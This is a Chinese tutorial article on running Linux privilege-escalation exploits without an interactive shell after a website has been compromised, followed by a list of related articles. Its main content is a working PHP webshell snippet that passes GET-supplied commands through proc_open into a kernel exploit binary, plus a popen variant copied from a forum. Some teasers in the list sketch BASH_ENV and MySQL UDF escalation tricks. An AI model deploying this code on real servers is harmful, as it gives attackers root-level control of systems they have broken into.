Linux下非交互式提权详解
前言
之前拿到某站的Webshell之后,在提权的时候发现网站不能反弹shell。而且,在渗透的时候经常遇到那种不能反弹shell的,你的提权工具拿上去之后因为没有交互式的环境,也不知道提权是否成功。因此,写了一个简单的工具。需要的朋友们可以参考学习。
方法如下
proce_open()
// path是提权工具的绝对路径,例如:/usr/local/htdocs/2.6.18 // cmd是你需要执行的命令,例如:whoami if(isset($_GET['path']) && isset($_GET['cmd'])){ $path = $_GET['path']; $cmd = $_GET['cmd']; $descriptorspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = proc_open($path, $descriptorspec, $pipes); if (is_resource($process)) { fwrite($pipes[0],$cmd); fclose($pipes[0]); echo stream_get_contents($pipes[1]); echo stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); $return_value = proc_close($process); } }
代码很简单,不懂的可以看看PHP手册,popen()
在这里也可以实现相同的效果
另外,有了这个代码之后,我们以后提权是不是就可以直接把提权工具扔到服务器上面,然后PHP代码改一改,循环测试哪些提权工具是可用的了。
popen()
这是土司之前一个人发的,代码原封不动的放在了下面。稍微改一改就能达到上面一样的效果
$sucommand = "/tmp/2.6.18-2011"; $fp = popen($sucommand ,"w"); fputs($fp,"echo 22222 > /tmp/sbsbsbsbsbsb11111"); pclose($fp);
总结
以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流,谢谢大家对我们的支持。
相关推荐
-
linux提权用的一个技巧
作者:xi4oyu 一个test: [xiaoyu@localdomain ~]$ echo $BASH_ENV [xiaoyu@localdomain ~]$ export BASH_ENV="/tmp/.bashrc" [xiaoyu@localdomain ~]$ echo $BASH_ENV /tmp/.bashrc [xiaoyu@localdomain ~]$ cat /tmp/.bashrc #!/bin/bash echo "Hello" [xiao
-
Linux利用UDF库实现Mysql提权
环境: os:linux(bt5) database:mysql 简述: 通过自定义库函数来实现执行任意的程序,这里只在linux下测试通过,具体到windows,所用的dll自然不同. 要求: 在mysql库下必须有func表,并且在‑‑skip‑grant‑tables开启的情况下,UDF会被禁止: 过程: 得到插件库路径 找对应操作系统的udf库文件 利用udf库文件加载函数并执行命令 1,得到插件库路径 mysql> show variables like "%p
-
Linux下非交互式提权详解
前言 之前拿到某站的Webshell之后,在提权的时候发现网站不能反弹shell.而且,在渗透的时候经常遇到那种不能反弹shell的,你的提权工具拿上去之后因为没有交互式的环境,也不知道提权是否成功.因此,写了一个简单的工具.需要的朋友们可以参考学习. 方法如下 proce_open() // path是提权工具的绝对路径,例如:/usr/local/htdocs/2.6.18 // cmd是你需要执行的命令,例如:whoami if(isset($_GET['path']) && iss
-
Linux 下读XML 的类详解及实现代码
Linux 下读XML 的类详解及实现代码 在Linux下写程序,常需要读一些配置文件.现有的XML工具很多,可以方便的编辑和生成XML. 但VC中用的XML解析器在Linux下不能用.只好自已写了个.用了一下,还不错. #include <stdio.h> #include <stdlib.h> // ********************************************************************** // // XML解析类(hongh
-
linux下用户程序同内核通信详解(netlink机制)
简介 linux下用户程序同内核通信的方式一般有ioctl, proc文件系统,剩下一个就是Netlink套接字了. 这里先介绍下netlink. Netlink 是一种在内核与用户应用间进行双向数据传输的非常好的方式,用户态应用使用标准的 socket API 就可以使用 netlink 提供的强大功能,内核态需要使用专门的内核 API 来使用 netlink. Netlink 相对于系统调用,ioctl 以及 /proc 文件系统而言具有以下优点: 1,为了使用 netlink,用户仅需要在
-
linux下安装solr的教程详解
安装Solr 第一步:将solr的压缩包上传到Linux系统 第二步:解压tomcat tar -zvxf apache-tomcat-7.0.47.tar.gz [root@localhost ~]# tar -zxvf apache-tomcat-7.0.47.tar.gz 第三步:在/usr/local/新建目录solr 第四步:将tomcat拷贝在/usr/local/solr/目录下,并命名为tomcat 第五步 解压solr [root@localhost ~]# tar -zvxf
-
Linux下的fdisk命令用法详解
Linux下的fdisk功能是极其强大的,用它可以划分出最复杂的分区,下面简要介绍一下它的用法: 对于IDE硬盘,每块盘有一个设备名:对应于主板的四个IDE接口,设备名依次为:/dev/hda,/dev/hdb,/dev/hdc,/dev/hdd等, 如果还有IDE Raid卡,则依次为:/dev/hde,/dev/hdf,/dev/hdg,/dev/hdh.对于SCSI硬盘,则设备名依次为/dev/sda,/dev/sdb...等等 fdisk的命令行用法为: fdisk 硬盘设备名 进入fd
-
Linux下安装mysql的教程详解
1. 关闭mysql服务 # service mysqld stop 2. 检查是否有rpm包,如果没有用rpm安装过mysql,不应该有残留,如果有,需要删掉 检查语法: rpm -qa|grep -i mysql 删除语法: rpm -e <包的名字> 如果遇到依赖,无法删除,使用 rpm -e --nodeps <包的名字> 不检查依赖,直接删除rpm包. 3. 通过find命令检查是否有安装mysql文件,有需要删除 检查语法: find / -name mysql 删除语
-
Linux下重新启动Tomcat的步骤详解
本文主要介绍的是Linux下重新启动Tomcat的步骤,在Linux系统下,重启Tomcat使用命令操作的! 具体的步骤如下: 首先,进入Tomcat下的bin目录 cd /usr/local/tomcat/bin 使用Tomcat关闭命令 ./shutdown.sh 查看Tomcat是否以关闭 ps -ef|grep java 如果显示以下相似信息,说明Tomcat还没有关闭 root 7010 1 0 Apr19 ? 00:30:13 /usr/local/java/bin/java -Dj
-
如何测试Linux下tcp最大连接数限制详解
前言 关于TCP服务器最大并发连接数有一种误解就是"因为端口号上限为65535,所以TCP服务器理论上的可承载的最大并发连接数也是65535". 先说结论:对于TCP服务端进程来说,他可以同时连接的客户端数量并不受限于可用端口号.并发连接数受限于linux可打开文件数,这个数是可以配置的,可以非常大,所以实际上受限于系统性能. 现在做服务器开发不加上高并发根本没脸出门,所以为了以后吹水被别人怼"天天提高并发,你自己实现的最高并发是多少"的时候能义正言辞的怼回去,趁着
-
Java实现平滑加权轮询算法之降权和提权详解
目录 前言 1.两个关键点 2.代码实现 2.1.服务节点类 2.2.平滑轮询算法降权和提权 3.分析结果 4.结论 前言 上一篇讲了普通轮询.加权轮询的两种实现方式,重点讲了平滑加权轮询算法,并在文末留下了悬念:节点出现分配失败时降低有效权重值:成功时提高有效权重值(但不能大于weight值). 本文在平滑加权轮询算法的基础上讲,还没弄懂的可以看上一篇文章. 现在来模拟实现:平滑加权轮询算法的降权和提权 1.两个关键点 节点宕机时,降低有效权重值: 节点正常时,提高有效权重值(但不能大于wei
-
linux下配置yum源方法详解
本人使用的方法一,成功配置,方法二没测过,可以作为参考 方法一: 1.确保RHEL5中已经安装了yum [root@lvs-master ~]# rpm -qa |grep yum yum-metadata-parser-2-el5 yum-updatesd-9-el5 yum-22-el5 yum-security-16-el5 yum-rhn-plugin-4-el5 2.修改源配置文件 #vim /etc/yum.repos.d/CentOS-Base.repo (如果目录下没有.repo
随机推荐
- 对YUI扩展的Gird组件 Part-2
- 一个关于正则表达式的问题
- 7个perl数组高级操作技巧分享
- 一键重置mysql的root密码的实现脚本
- Java数据类型转换详解
- ASP.NET XmlDocument类详解
- JavaScript面试题大全(推荐)
- Android编程之代码创建布局实例分析
- Thinkphp中Create方法深入探究
- MySQL中不能创建自增字段的解决方法
- 左侧固定宽度,右侧自适应宽度的CSS布局
- 比较详细的XMLDOM对象方法详解第1/2页
- jQuery实现根据生日计算年龄 星座 生肖
- c#获取存储过程返回值示例分享
- asp.net(c#) 水仙花数
- mysql 关键词相关度排序方法详细示例分析
- 理解javascript异步编程
- js下用gb2312编码解码实现方法
- 简介JavaScript中的getUTCFullYear()方法的使用
- 微信小程序 首页制作简单实例